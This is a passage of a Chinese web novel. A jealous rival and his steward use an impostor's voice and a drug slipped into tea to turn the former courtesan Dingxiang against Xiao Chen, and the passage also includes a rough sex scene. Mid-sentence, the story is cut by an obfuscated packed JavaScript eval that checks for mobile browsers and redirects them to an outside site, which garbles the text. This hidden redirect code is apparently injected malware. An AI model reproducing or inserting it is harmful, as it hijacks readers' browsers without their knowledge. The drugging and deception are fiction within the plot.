他站起身,拍了拍儿子的肩:“去吧,把这股劲用在书本上。等你站得够高,想要的一切,自然会来。” 王景明望着父亲离去的背影,拳头攥得更紧了。窗外的阳光明明晃晃,他心里却像压着块冰,又冷又硬——肖晨,丁香,你们等着,迟早有一天,我要让你们为今日的轻视,付出代价。 王景明正咬牙切齿,身旁的管家忽然凑近,压低声音道:“公子若想夺回丁香,老奴倒有个计策,不费吹灰之力就能让她对肖晨死了心。” “哦?”王景明挑眉,“什么法子?” 管家往左右看了看,附在他耳边道:“咱们府里不是养着个会口技的伶人吗?那人身形与肖晨有几分相似,学起声音来更是惟妙惟肖。公子只需如此这般……” 他顿了顿,眼中闪过算计:“先让人去给肖晨的好友林羽递个话,就说设了场读书会,请他去城西的醉仙楼。肖晨与林羽素来交好,定会同去。” “然后呢?” “然后咱们找个僻静的巷子,让那伶人扮成肖晨的模样,再安排个‘心腹’在旁搭话。”管家的声音越发压低,“就说……就说肖晨赎买丁香,不过是图个新鲜,玩腻了迟早要送回花船;如今在府里对她好,不过是哄着她把身子交出来,等春闱一结束,便再无她的立足之地。” 王景明的眼睛亮了:“让丁香听见?” “正是。”管家点头,“咱们派人悄悄把丁香引到巷口,让她‘恰巧’听见这番话。女人最在意的就是真心,她若信了肖晨是这般薄情寡义,定会心灰意冷。到时候公子再出面,许她个体面归宿,她还能不跟着您走?” “好!好主意!”王景明拍着桌子站起身,脸上的阴鸷化作得意的笑,“既不用硬碰硬,又能让她死心塌地跟着我,还能让肖晨尝尝被人背后议论的滋味!” 他看向管家:“这事就交给你去办,务必做得天衣无缝。那伶人要选最像的,搭话的人也得机灵,千万别露了破绽。” “公子放心。”管家躬身应下,“老奴这就去安排,保准让丁香姑娘听得真真切切,由不得她不信。” 王景明走到窗边,望着肖府的方向,嘴角勾起一抹狠笑。丁香啊丁香,你以为肖晨是真心待你?等你听见那些话,就知道谁才是能给你安稳的人了。至于肖晨……我不仅要抢你的人,还要让你尝尝,什么叫从云端跌落泥潭。 管家办事利落,不过半日就安排妥当了一切。 那会口技的伶人姓赵,原是戏班里的台柱子,因得罪了权贵才投到王家,身形清瘦,眉眼间竟真与肖晨有几分相似。管家让他换上肖晨常穿的月白长衫,又教他模仿肖晨说话的语调——不急不缓,带着几分书卷气,却在尾音处藏着一丝不易察觉的冷硬。 “……就是这样,”管家让赵伶人练了几遍,满意点头,“记住,要说得像随口闲聊,却句句往人心窝里扎。尤其提到‘花船’二字,要带点轻佻,仿佛那是再寻常不过的去处。” 另一边,派去请林羽的仆役也回来了,回话道:“林公子说,酉时在醉仙楼恭候,还特意提了让肖公子务必赏光。” 王景明坐在书房里听着回话,指尖在砚台上轻轻摩挲:“引丁香的人呢?” “找了个曾在肖府当差的婆子,她认识丁香,也知道怎么说话能让丁香疑心。”管家道,“就说看见肖公子往城西去了,神色匆匆,好像跟人约了什么事,还说……说隐约听见‘花船旧识’几个字。” 这话说得极妙,既勾着丁香的好奇心,又暗戳戳往“肖晨藏了心事”上引。 酉时将至,肖晨果然换了衣衫,准备去赴林羽的约。丁香正在书房整理书卷,见他要出门,下意识问:“公子要去哪儿?” “林羽约了读书会,在醉仙楼。”肖晨笑了笑,“晚些回来,你不用等我。” 他走后没多久,那婆子就溜到肖府后门,托相熟的丫鬟给丁香递了话。丁香本就心细,听婆子说“花船旧识”,心里咯噔一下——她总记得自己从前在花船上的日子,也怕肖晨会在意这些,当下便坐不住了。 “去城西看看也好,说不定只是误会。”她这样想着,悄悄换了身素净衣裳,避开耳目出了府。 按那婆子指的路,往城西巷子走了没几步,就听见前方传来熟悉的声音。 “……那丁香,不过是我从花船上赎回来解闷的。” 是肖晨的声音! 丁香脚步猛地顿住,浑身的血仿佛都凉了。 就听另一个陌生的声音接话:“公子对她那般好,我还以为是动了真心呢。” “真心?”那“肖晨”轻笑一声,语调里的冷硬格外刺耳,“读书人哪有什么真心?不过是瞧着新鲜罢了。她那双手虽生了冻疮,写起字来倒有几分意思,留着解闷正好。” “那府里的少夫人……” “傲雪?她是她,丁香是丁香。”“肖晨”的声音带着几分漫不经心,“等春闱过了,新鲜劲也差不多了,再把她送回花船便是。左右不过是笔买卖,她还能翻了天去?” “那她要是不肯呢?” “不肯?”“肖晨”嗤笑一声,“一个贱籍出身的女子,还敢跟我谈条件?到时候打断她的腿,看她走不走。再说了,她如今对我死心塌地,不就是图个安稳?等我腻了,随便找个理由打发了,她还能奈我何?” 后面的话,丁香已经听不清了。 她只觉得耳朵里嗡嗡作响,眼前一阵阵发黑。原来那些护着她、疼惜她的话都是假的?原来留在他身边研墨抄书的安稳,不过是“解闷”?原来他早就盘算着,等新鲜劲过了,要把她打回那个吃人的地方? 心口像是被人狠狠攥住,疼得喘不过气。她想起肖晨给她抹冻疮膏时的温柔,想起他说“你要好好爱自己”时的认真,想起雪夜里三人堆雪人时的暖意……那些画面此刻都变了味,像是裹着蜜糖的毒药,甜得发苦。 “呜……”她捂住嘴,不敢哭出声,眼泪却像断了线的珠子,砸在冰冷的石板路上。 这时,一个身影从巷口走来,正是王景明。他故作惊讶地停下:“丁香姑娘?你怎么在这儿?哭什么?” 丁香抬头看见他,像是抓住了救命稻草,又像是被戳破了心事,慌忙擦眼泪:“我、我没事……” “是不是听见什么了?”王景明叹了口气,语气带着几分怜悯,“其实……我早就想告诉你,肖晨那个人,看着温和,心里的算盘打得精着呢。他怎会真心对一个花船出身的女子?你呀,还是太傻了。” 他走近一步,声音放软:“丁香,跟我走吧。我知道你受了委屈,到了我这里,我绝不会像他那样骗你。我会给你名分,让你安安稳稳过日子,再也不用怕被人送回花船。” 丁香望着王景明,又回头望了眼巷子里那抹月白背影——那曾是她所有的希望,此刻却成了最锋利的刀。眼泪模糊了视线,她只觉得浑身发冷,仿佛又回到了那个飘着雪的花船夜晚,孤立无援。 王景明看着她动摇的神色,嘴角勾起一抹不易察觉的笑。他知道,这一步,成了。 王景明刚想伸手去拉丁香,眼角余光瞥见巷口槐树后管家正拼命朝他使眼色,那眼神里满是“住手”的急切。他心头一凛,猛地收回手,顺着刚才的话头叹了口气:“我还当肖晨是个重情重义的,没想到对姑娘竟是这般心思,真是看错他了。” 他故意说得惋惜,眼角却留意着丁香的神色——她低着头,肩膀微微耸动,显然是信了大半。 等丁香被丫鬟扶着往回走,王景明才快步绕到槐树后,压低声音道:“怎么了?这不是正好趁热打铁?” 管家狠狠瞪了他一眼,拉着他往更深的巷子里退了几步:“公子怎么这般沉不住气!刚才要是伸手碰了她,保不齐就露了破绽!她现在心里正乱,咱们得让她自己慢慢琢磨,越想越觉得肖晨虚伪,这才叫釜底抽薪!” 他顿了顿,放缓语气:“您放心,老奴早安排妥了。派去醉仙楼的人刚回来报信,肖晨和林羽已经到了,正围着书卷谈得热络,半点没起疑心。” 王景明皱眉:“那迷惑散……” “按您的吩咐,掺在他们点的碧螺春里了。”管家眼中闪过一丝得意,“那药性子缓,不会让人立刻失态,只会让人头晕沉,心神恍惚,尤其在被人追问时,最容易顺着旁人的话头说胡话。” 他凑近了些:“等肖晨今晚回去,丁香保准会追问巷子里的事。到时候她心里本就存着疙瘩,再一逼问,肖晨被药性迷了心智,保不齐真会顺着她的疑虑说些伤人的话——咱们都不用再动手脚,他自己就能把这出戏唱圆了。” 王景明这才消了气,摸着下巴冷笑:“还是你想得周全。一步错,步步错,肖晨啊肖晨,这次我看你怎么翻身。” “公子放心,”管家躬身道,“老奴已经让人盯着醉仙楼了,等他们散场就远远跟着,确保肖晨平安‘糊涂’地回到府里。只要他和丁香今晚闹起来,往后就算真相大白,那根刺也扎在心里了。” 两人正说着,就见巷口那婆子匆匆跑来,低声道:“回公子,丁香姑娘已经回肖府了,一路上魂不守舍的,眼眶红红的,看着像是伤透了心。” 王景明嘴角扬起一抹狠笑:“好。咱们回府等着看戏就是。” 醉仙楼里,肖晨与林羽谈得正投机。窗外暮色渐浓,林羽端起茶杯笑道:“这雨前龙井倒是新沏的,尝尝?” 肖晨随手端起茶杯抿了一口,只觉茶水微苦,后味却有些异样的甘醇,也没多想,继续道:“你前日说的那篇《民生策》,我倒觉得可以再添些乡野实例……” 两人又聊了半个时辰,肖晨只觉眼皮有些发沉,头也微微发胀,便道:“许是今日读得久了,有些乏了,我先回府了。” 林羽也没挽留,送他到门口:“明日我再去府上找你细聊。” 肖晨点点头,转身登了马车。车轮碾过青石板路,他靠在车壁上,只觉那股困意越来越浓,脑子里像蒙了层雾,连思考都变得迟钝。 与此同时,肖府书房里,丁香正坐在烛火旁发呆。手里捏着半块肖晨早上没吃完的糕点,眼泪却像断了线的珠子,一滴滴落在糕点上。 巷子里那番话像毒蛇似的缠着她——“解闷的玩意儿”“送回花船”“哪有什么真心”……每一个字都往心口扎,可她偏又想起肖晨为她暖手的温度,想起他护着她对抗肖母的模样。 “是假的吧?一定是假的……”她喃喃自语,却连自己都骗不过。 院门外传来马车声,丁香猛地站起身,手指绞着帕子,心跳得像要撞出嗓子眼。 肖晨推门进来时,脚步有些虚浮,看见她站在屋里,愣了一下才笑道:“怎么还没睡?” 他的声音和平常一样温和,可在丁香听来,却带着几分刻意的伪装。她深吸一口气,颤声问:“公子……你今晚,除了去醉仙楼,还去过别的地方吗?” 肖晨揉了揉发沉的太阳穴,脑子里乱糟糟的,只觉她的问题有些奇怪,却又说不出哪里不对:“没有啊,从醉仙楼直接回府了。怎么了?” “那……”丁香咬着唇,眼泪又涌了上来,“我刚才听人说,你在城西巷子里,跟人说……说我是你从花船赎回来解闷的,还说……” 她的话没说完,就见肖晨眉头忽然皱起,眼神变得有些恍惚,像是被什么东西牵引着。 暗处,管家安排的那个懂乐理的仆役正悄悄拨动琴弦,一缕极细的音波飘进屋里,恰好与肖晨体内的药性相呼应。 肖晨张了张嘴,声音忽然变得冷硬,竟和巷子里那个“肖晨”如出一辙:“是又如何?” 丁香浑身一颤,脸色瞬间惨白。 “你本就是花船上的人,我赎你回来,不过是图个新鲜。”肖晨的眼神空洞,语气带着陌生的轻佻,“等春闱过了,新鲜劲没了,自然要送你回去。难不成还真要留你一辈子?” 每一个字都像冰锥,狠狠扎进丁香心里。她望着眼前熟悉又陌生的人,嘴唇哆嗦着,却一个字也说不出来。原来……原来巷子里听到的,都是真的。 肖晨说完这些,像是脱了力,晃了晃身子,眼神渐渐恢复清明,却对刚才说的话浑然不觉,只疑惑地看着泪流满面的丁香:“你怎么了?哭什么?我刚才……说了什么?” 可丁香已经听不进去了。她踉跄着后退几步,撞在书架上,书册哗啦啦掉了一地,像她此刻碎成齑粉的心。 她看着肖晨,眼中最后一点光亮也熄灭了,只剩下无尽的寒意和绝望。 窗外,王景明和管家站在暗处,看着屋里这一幕,嘴角同时勾起了冷笑。 成了。这一次,她是真的信了。 肖晨见她哭得浑身发抖,心里莫名一紧,只当是自己回来晚了让她担心,又或是方才那些胡话(他此刻已记不清具体说了什么,只觉气氛不对)惹她受了委屈。 他上前一步,伸手想给她擦眼泪,指尖刚碰到她的脸颊,就被她猛地躲开。 “丁香?”他有些怔忡,体内的药性尚未完全退去,脑子依旧昏沉,只想着要安抚她,“先别哭了,是我不好,回来晚了让你惦记。” 他以为她是怕了,怕自己像从前那些薄情郎一样丢下她。毕竟她在花船上见多了离散,心里总有份不安稳。 丁香抬起泪眼,望着他眼中真切的困惑,只觉得更讽刺——他竟能装得这样像,连自己说过的狠话都能忘得一干二净。她别过脸,泪水却流得更凶了。 肖晨见她哭得更急,心乱如麻,只想着要让她安心。从前她害怕时,他抱抱她,她就会好很多。此刻他也顾不上别的,伸手将她轻轻揽进怀里,低头想吻她的额角,想告诉她别怕,他会一直陪着她。 可唇瓣还没落下,丁香却像疯了一样推开他,尖叫着:“别碰我!” 她的声音里满是惊恐和厌恶,像一把刀扎在肖晨心上。他愣在原地,怀里的温软骤然抽离,只剩下满室的寒意和丁香决绝的背影。 “丁香……”他不解地唤她,不明白刚才还好好的人,怎么突然变成这样。 丁香背对着他,肩膀剧烈地颤抖着,哽咽道:“你走吧……我不想再看见你。” 肖晨站在原地,只觉得头越来越晕,心里又急又乱,却不知道问题出在哪里。他看着她蜷缩在墙角,像只受惊的小兽,心疼得厉害,却又不敢再靠近。 暗处的琴弦轻轻停了,仆役悄无声息地退了出去。管家早已派人去报信,王景明此刻正在肖府外等着,只等丁香彻底死心,便会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123520|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “恰巧”出现,给她一个“避风港”。 而屋里,肖晨还在试图安抚哭泣的丁香,却不知自己早已成了别人手中的刀,将那个满心信赖他的姑娘,伤得体无完肤。 肖晨看着丁香哭得几乎喘不过气,心里像被猫爪挠着,又急又疼。他往前挪了半步,声音放得更柔:“丁香,你看着我。到底怎么了?是我哪里做错了,你告诉我,我改。” 他伸手想替她拭泪,却被她猛地甩开,那力道之大,连他自己都愣了。 “是不是府里的人嚼舌根了?”肖晨又问,眉头紧锁,“是母亲那边的人说了什么?还是哪个丫鬟不懂事惹你生气了?你说出来,我去教训她们。” 丁香却只是摇头,眼泪糊了满脸,哽咽着说不出完整的话:“不是……都不是……” 她怎么能说?说她听见了他最不堪的心里话?说他刚才亲口承认,留她不过是图新鲜?那些话像淬了毒的针,扎在喉咙里,吐出来都带着血。 肖晨见她不肯说,只当是受了委屈不敢讲,心里更疼了。他想起她在花船上受的苦,想起她总怕自己嫌弃她的出身,难道是有人拿这个戳她痛处了? “丁香,”他蹲下身,平视着她通红的眼睛,语气无比认真,“不管别人说什么,你都别信。在我心里,你从来都不是……” 他想说“从来都不是什么解闷的玩意儿”,可话到嘴边,脑子里忽然又是一阵发懵,刚才那股恍惚感又涌了上来,喉咙像是被堵住,怎么也说不下去。 丁香看着他欲言又止的样子,只当他是被戳穿了心思,连伪装都懒得做了。心彻底沉了下去,连哭的力气都没了,只剩下一片麻木的凉。 她慢慢站起身,往后退了两步,拉开距离,声音哑得像砂纸磨过:“公子……我累了,想歇息了。” 那语气里的疏离,像一道无形的墙,瞬间隔在两人中间。 肖晨看着她转身走向内室,背影单薄得仿佛一阵风就能吹倒,心里空落落的,却不知道该如何挽留。他只觉得今晚的丁香格外奇怪,而自己的头也越来越沉,像是有什么重要的东西被遗忘了,抓不住,想不起。 内室的门轻轻合上,隔绝了烛火的光。丁香靠在门板上,缓缓滑坐在地,眼泪无声地淌着,浸湿了衣襟。 窗外,王景明的身影隐在树影里,看着那扇紧闭的门,嘴角扬起一抹志在必得的笑。 管家适时走过来,低声道:“公子,差不多了。再过两日,等她彻底心死后,您再出面,保管手到擒来。” 王景明点点头,眼中闪过一丝狠厉。好戏,才刚刚开始。 肖晨在书房外站了许久,听着内室再无动静,终是叹了口气,转身往李傲雪的院子去。 推开门时,李傲雪正坐在灯下绣荷包,见他进来,放下针线抬头笑问:“少爷,这个时辰怎么过来了?不去书房温书了?” 肖晨走过去,将她揽进怀里,下巴抵着她的发顶,声音带着不易察觉的疲惫:“想你了,陪你睡。” 李傲雪身子一僵,随即放松下来,抬手抚上他的背:“今天累着了?”她能感觉到他身上的紧绷,不像往常那般松弛。 “嗯。”肖晨含糊应着,低头吻住她的唇。这吻带着一股莫名的烦躁,不同于往日的温柔,带着几分急切和狠厉。 李傲雪愣了一下,却没有推开。她知道他定是遇上了烦心事,便顺着他的力道,踮起脚尖回应。她的吻热情而包容,像温水慢慢浸润他紧绷的神经。 肖晨将她打横抱起,往床榻走去。帐幔落下,隔绝了外间的灯火,只剩下彼此急促的呼吸。他像是要发泄什么,动作带着从未有过的蛮横,扯开她的衣襟时带落了发簪,青丝散了满枕。 李傲雪咬着唇,承受着他的冲撞,眼角却滑下一滴泪。她知道他心里装着事,这股烦躁不是针对她,可心口还是隐隐发疼。但她喜欢这样的他,喜欢他卸下所有伪装,将最真实的情绪展露在她面前,哪怕那情绪里带着戾气。 “少爷……”她低唤,声音带着破碎的喘息,“别憋着……” 肖晨猛地低头,吻住她的脖颈,力道重得几乎要留下齿痕。他像一头困兽,在她的温柔里横冲直撞,直到天边泛起鱼肚白,才疲惫地瘫倒在她身侧。 李傲雪的肩头留着几道红痕,脖颈上的吻印触目惊心,可她只是轻轻抚摸着肖晨汗湿的脊背,动作温柔。 “少爷,到底怎么了?”她轻声问,声音沙哑。 肖晨闭着眼,脑子混沌一片,只觉得浑身酸软,心里却空得厉害。他摇了摇头:“不知道……就是烦。” 他翻了个身,沉沉睡去。 李傲雪望着帐顶,轻轻叹了口气。她知道,这个夜晚发生了什么,只是他自己还不知道。而那个在书房里独自垂泪的姑娘,怕是也一夜未眠。 晨光透过窗棂照进帐内,肖晨醒来时头痛欲裂,浑身骨头像散了架。身侧的李傲雪还睡着,长发铺在枕上,脖颈间那几道暧昧的红痕在白皙肌肤上格外扎眼——那是昨夜他失控的证明。 他起身时动作稍大,惊醒了李傲雪。她睁开眼,见他望着自己颈间,脸颊微红,却只是轻声道:“醒了?” 这时,几个丫鬟端着洗漱用具进来,刚要上前伺候,李傲雪撑着身子坐起来,柔声道:“你们先出去吧,我来伺候少爷。” 肖晨却按住她的手,目光落在她肩头未消的抓痕上,声音有些涩:“你累坏了,让她们来。” 李傲雪愣了愣,见他神色认真,便没再坚持,只是望着他穿衣的背影,眼底掠过一丝担忧。 肖晨洗漱完毕,心里总惦记着丁香,没多停留便往书房去。他记得昨夜她哭红的眼,记得她疏离的语气,越想越觉得不对劲,仿佛有什么重要的细节被自己漏掉了。 走到书房门口,却见门是虚掩着的。他轻轻推开门,里面空荡荡的,书案收拾得整整齐齐,昨夜散落的书卷都归了位,只是不见了丁香的身影。 “丁香?”他唤了一声,没人应。 问了守在院外的丫鬟,才知道天刚亮时,丁香就说身子不适,回自己那间小偏院去了。 “她可有说什么?”肖晨追问。 丫鬟摇了摇头:“丁香姑娘脸色很差,只说想歇歇,不让人打扰。” 肖晨心里一沉,转身就往偏院走。他得找到她,问清楚昨夜到底发生了什么,为什么她会突然变成那样。 偏院的门紧闭着,肖晨敲了敲:“丁香,是我。” 里面静悄悄的,半天没有动静。 “我知道你在里面,”肖晨放柔了声音,“昨夜是我不好,让你受委屈了。你开门,我们好好谈谈,好不好?” 又等了片刻,门才“吱呀”一声开了条缝。丁香站在门后,脸色苍白得像纸,眼下是浓重的青黑,显然一夜没睡。她的眼神躲闪着,不敢看他。 “公子有什么事?”她的声音比昨夜更哑。 “你脸色这么差,是不是病了?”肖晨想推门进去,却被她用身子挡住。 “没有,”丁香低下头,盯着自己的鞋尖,“只是没睡好。公子要是没别的事,我想再歇歇。” 她这副拒人于千里之外的样子,让肖晨心里更急。他想起昨夜自己那些奇怪的恍惚,想起那些到了嘴边却说不出的话,难道是自己在不清醒时说了什么伤她的话? “丁香,”他放低姿态,几乎是恳求,“不管我昨夜说了什么做了什么,都不是我的本意。你告诉我,到底怎么了?别这样对我,我会担心的。” 丁香猛地抬头看他,眼里满是复杂的情绪,有痛苦,有怀疑,还有一丝残存的、不肯死心的希冀。可想起巷子里的对话,想起他昨夜冰冷的承认,那点希冀又像被冷水浇灭了。 她慢慢摇了摇头,后退一步,轻轻合上了门。 “公子……别再来了。” 门内传来落锁的声音,像一把锁,狠狠扣在了肖晨心上。他站在门外,阳光明明暖暖地照在身上,却觉得浑身发冷。 他不知道,此刻墙头上,正有个小厮将这一幕看在眼里,转身便往王府跑去——这消息,该让王公子好好乐呵乐呵了。 62.女孩子也是要哄的 王景明正坐在书房里摩挲着玉佩,听见小厮回话,说肖晨去了偏院却被丁香关在门外,嘴角当即勾起一抹笑。刚要起身说“去看看”,管家已快步进来,在他耳边低语:“公子,此刻万万动不得。” “怎么动不得?”王景明挑眉,“她都把肖晨拒之门外了,正是我露面的好时候。” “好时候还没到。”管家摇头,眼神笃定,“她现在只是心寒,还带着几分侥幸,说不定夜里会自己琢磨,万一觉得是误会呢?咱们这时候凑上去,反倒像是赶着去捡便宜,容易让她起疑。” 他凑近一步,又道:“您想啊,肖晨昨夜说了那番话,今晨又被拒,心里必定也犯嘀咕。以他的性子,定会再找机会解释。咱们得等,等他们俩彻底闹僵,等丁香连最后一丝念想都断了,觉得这肖府再待不下去了,那时她自己就会想走。” “等她走出来,在外面孤苦无依的时候,公子您再‘恰巧’遇上,递上援手,那才是水到渠成。”管家说着,眼中闪过算计,“到时候她只会觉得是天意,是公子您救她于危难,感激还来不及,怎会怀疑?” 王景明摩挲玉佩的手指停了停,琢磨着管家的话,觉得有理。他性子急,却也知道“欲速则不达”的道理,便哼了一声:“那要等到什么时候?” “快了。”管家笑道,“昨夜那迷惑散虽过了劲,但肖晨心里必定存了疙瘩,他越想解释,越容易说错话。而丁香心里的刺,只会越扎越深。不出三日,必有分晓。” 他又补充道:“咱们只需让人远远盯着,看紧丁香的动向,别让她真寻了短见,也别让肖晨有机会彻底解开误会就行。其他的,什么都不用做。” 王景明点点头,将玉佩揣回袖中:“行,就听你的。我倒要看看,这丁香能在肖府硬撑多久。” 肖晨在偏院外站了许久,门内始终没有动静。他越想越觉得不对劲,丁香向来温顺,即便受了委屈,也不会这般拒人千里。难道真的是自己昨夜说了什么过分的话?可他绞尽脑汁,也想不起半句不妥的言辞。 “总不能一直这样僵着。”他低声自语,转身叫来侍立在院外的玉溪。玉溪性子活络,平日里与丁香也还算亲近。 “你去,”肖晨吩咐道,“端盏热茶过去,就说天凉了,让她暖暖身子。想法子让她把门打开,我有话跟她说。” 玉溪看了眼紧闭的院门,点点头:“公子放心,奴婢试试。” 她端着热茶走到门前,轻轻敲了敲:“丁香姑娘,是我,玉溪。公子怕你着凉,让我送碗热茶来。” 门内沉默了片刻,才有细微的声响传来。 “我不渴,你拿回去吧。”丁香的声音隔着门板传来,透着浓浓的疲惫。 “姑娘这是说的什么话?”玉溪放缓了语气,带着几分熟稔的关切,“这天儿一日比一日凉,喝点热茶暖暖胃总是好的。再说,你跟公子这是怎么了?昨夜还好好的,今早怎么就生分了?有什么事说开了不就好了?” 她顿了顿,又道:“公子就在外面等着呢,脸都快冻僵了。你先开门让我把茶递进去,哪怕不愿见公子,喝口热茶也好啊。” 门内又静了会儿,终于传来“咔哒”一声轻响,门开了一条缝。丁香站在门后,脸色依旧苍白,眼下的青黑更重了些。 玉溪趁机将茶碗递过去:“快拿着,还热乎呢。” 趁丁香伸手接茶的空档,玉溪悄悄往旁边挪了半步,给肖晨递了个眼色。 肖晨会意,不等丁香关门,便快步走了过去,轻声道:“丁香,我们谈谈。” 丁香握着茶碗的手一颤,热水溅在指尖,烫得她缩了缩,却没抬头看他。 “我没什么好说的。”她声音很轻,却带着不容置疑的疏离。 “那我有话说。”肖晨盯着她泛红的指尖,眉头紧锁,“昨夜到底发生了什么?你听到了什么?看到了什么?你告诉我,别一个人憋着。若是我错了,我给你赔罪;若是有误会,咱们解开它,行吗?” 他语气里的急切不似作伪,丁香握着茶碗的手紧了紧,心里那根快要绷断的弦,似乎又被轻轻拨动了一下。 可巷子里的冷言,昨夜他亲口承认的狠语,像鬼魅似的缠上来,让她刚要松动的心又硬了下去。 “公子回去吧。”她侧过身,想把门关上,“我真的累了。” 肖晨却伸手按住了门板,目光灼灼地看着她:“你不告诉我,我就不走。” 两人僵持在门口,玉溪识趣地退到了院外。晨光落在两人身上,明明是暖的,却透着一股说不出的寒意。肖晨知道,今日若不把话说开,这道裂痕只会越来越深,可他偏偏不知道,那把最伤人的刀,竟是自己亲手递出去的。 肖晨轻轻推开那扇虚掩的门,迈步进去时,带起一阵微凉的风。丁香背对着他站在窗前,单薄的身影映在窗纸上,像一片随时会被风吹走的叶子。 “你有什么事,跟我说。”他走到她身后,声音放得极柔,“别一个人闷着,我看着心里疼。” 丁香肩膀几不可察地抖了一下,却没回头。 肖晨又上前半步,目光落在她发顶,语气带着几分急切的坦诚:“若是我哪里做错了,你明明白白指出来。是我不好,让你受委屈了。可你得信我,我从没想过要伤你。” 他顿了顿,伸手想轻轻碰她的肩,又怕她像昨夜那样躲开,手悬在半空,声音低了些:“我们……虽没拜堂,可在我心里,早已把你当作妻子。夫妻之间,有什么不能说的?你憋在心里,既苦了自己,也会让我不安。” “夫妻?”丁香终于转过身,眼泪毫无预兆地涌了上来,声音带着浓浓的嘲讽,“公子眼里的夫妻,就是……就是图新鲜时哄着,腻了就送回花船吗?” 这句话像惊雷,劈得肖晨浑身一震。他猛地看向丁香,眼中满是错愕:“你说什么?我何时说过这种话?” “何时?”丁香笑了,笑得比哭还难看,眼泪顺着脸颊往下淌,“就在昨夜,城西的巷子里!你跟人说,赎我回来不过是解闷,春闱一过就送我回去!你还说……说我本就是花船上的人,不配留在肖府!” 她越说越激动,声音抖得不成样子:“你以为我没听见吗?我听得清清楚楚!后来你回府,我问你,你自己也承认了!你说……说我本就该回去!” 肖晨的脸色一点点变得惨白,他张着嘴,想反驳,却发现自己脑子里一片空白。昨夜他确实说了奇怪的话,可那些话像是被人塞进脑子里的,他毫无印象,只记得自己当时头晕得厉害,意识都有些模糊。 “我没有……”他急切地辩解,声音都变了调,“丁香,我真的没有说过!那不是我……” “不是你?”丁香泪眼婆娑地看着他,“难道是我听错了?还是我凭空编出来的?” 她后退一步,指着门外:“公子若是觉得我碍眼了,大可直说,不必用这种法子逼我走。我虽是花船出身,却也有几分骨气,不会赖在肖府讨人嫌!” 肖晨看着她眼中的绝望和鄙夷,心口像是被巨石压住,疼得喘不过气。他终于明白,她不是在闹脾气,是真的信了那些话。可那些话,到底是怎么回事? “丁香,你信我,那里面一定有问题。”他上前一步,想去拉她的手,“我对天发誓,我从没想过要送你走,更没想过……” “不必发誓了。”丁香猛地甩开他的手,茶碗“哐当”一声掉在地上,摔得粉碎,滚烫的茶水溅了一地,“我信我自己听到的,看到的。公子请回吧,从今往后,你我……各不相干。” 肖晨上前一步,声音因急切而微微发颤,眼底的红血丝清晰可见:“丁香,你看着我。” 他伸手轻轻握住她冰凉的手腕,力道却带着不容置疑的认真:“我若想把你送回花船,当初何必花重金为你赎身?王老爷那般刁难,说要我替他做三年苦役才肯放你走,我咬着牙应了;母亲把我关在柴房,用家法逼我赶走你,我挨了三十鞭子也没松口。这些你都看在眼里,不是吗?” “我对抗整个家族,扛着‘为了一个花船女子辱没门楣’的骂名,难道就是为了图一时新鲜,日后再把你送回去?”他喉结滚动,声音里带着一丝委屈,“我把你留在身边,教你读书写字,为你挡下府里的明枪暗箭,是因为我想让你好好活着,想让你做我的妻,不是什么解闷的玩意儿。” 他凑近几分,额头几乎要碰到她的,眼神灼热得像要烧起来:“我爱你。从在花船上见你第一眼,看你抱着琵琶强颜欢笑,我就想护着你。这些日子相处下来,这份心只会越来越重,绝不会有半分虚假。” 丁香被他眼中的真挚烫得心头一颤,那些根深蒂固的怀疑,似乎在这一刻松动了。是啊,他为她做的那些事,受的那些苦,她都记得。挨鞭子时渗血的脊背,柴房里冻得发紫的嘴唇,还有每次为了护她,跟母亲争执时通红的眼眶…… 可巷子里的声音,昨夜他冰冷的语气,又像针一样扎在心上。 “可……可那些话……”她哽咽着,说不出完整的句子。 “是假的。”肖晨斩钉截铁,“要么是有人冒充我,要么是我中了圈套。丁香,给我一点时间,我一定会查清楚。” 他轻轻擦去她脸颊的泪,指尖带着小心翼翼的温柔:“再信我一次,好不好?就一次。” 丁香望着他布满红血丝的眼,那里面的恳切不似作伪。她沉默了许久,握着茶碗的手渐渐松开,滚烫的茶水早已凉透,就像她昨夜的心。 最终,她轻轻点了点头,声音细若蚊蚋:“……好。” 肖晨紧绷的肩膀瞬间垮了下来,像是卸下了千斤重担。他想把她拥进怀里,却又怕吓着她,只是紧紧握着她的手腕,仿佛握住了失而复得的珍宝。 玉溪掀帘进来时,眼眶还带着点红,显然是在外头听了好一阵子。她走到丁香面前,语气里带着恨铁不成钢的急切:“丁香姑娘,你真是糊涂!” “我还当是什么天大的事,竟让你跟公子僵成这样。”她往肖晨那边看了一眼,又转向丁香,声音拔高了些,“公子为你受了多少罪,府里上下谁不清楚?当初我也是从花楼出来的,是公子赎了我,没把我当下人使唤,还让我学识字算账。他的性子,我最清楚——看着温和,骨子里比谁都执拗,认定的事八头牛都拉不回。” 玉溪攥着帕子,又道:“他若真是图新鲜,想把你送回花船,何必跟老夫人硬顶?挨鞭子那天,他背上的血把衣裳都浸透了,还笑着跟我说‘没事,只要能护着丁香就好’;王老爷那边要他做三年苦役,他眼皮都没眨就应了,只说‘只要能把人接回来,什么都值’。” “这些你都忘了?”她往前凑了半步,眼神里带着恳切,“外面那些流言蜚语,像刀子一样往他身上扎,他都扛着,从没在你面前喊过一句苦。如今就凭几句没头没尾的话,你就信了?还在这里怪他,你对得起他这份心吗?” 丁香被她说得低下头,手指绞着衣襟,眼泪又不争气地涌了上来。玉溪的话像锤子,一下下砸在她心上——是啊,他为她做的那些,她明明都记得,怎么就因为几句坏话,就忘了呢? 肖晨见丁香眼圈泛红,忙对玉溪道:“好了,别说了,她也是受了委屈。” “公子就是太惯着她了!”玉溪跺了跺脚,却还是放缓了语气,对丁香道,“姑娘,人心都是肉长的。公子待你如何,你该比谁都清楚。别让旁人的鬼话迷了心窍,寒了真心待你的人。” 丁香吸了吸鼻子,抬起头,看向肖晨时,眼里已没了先前的疏离,只剩下满满的愧疚。她张了张嘴,声音哑得厉害:“公子……对不起……” 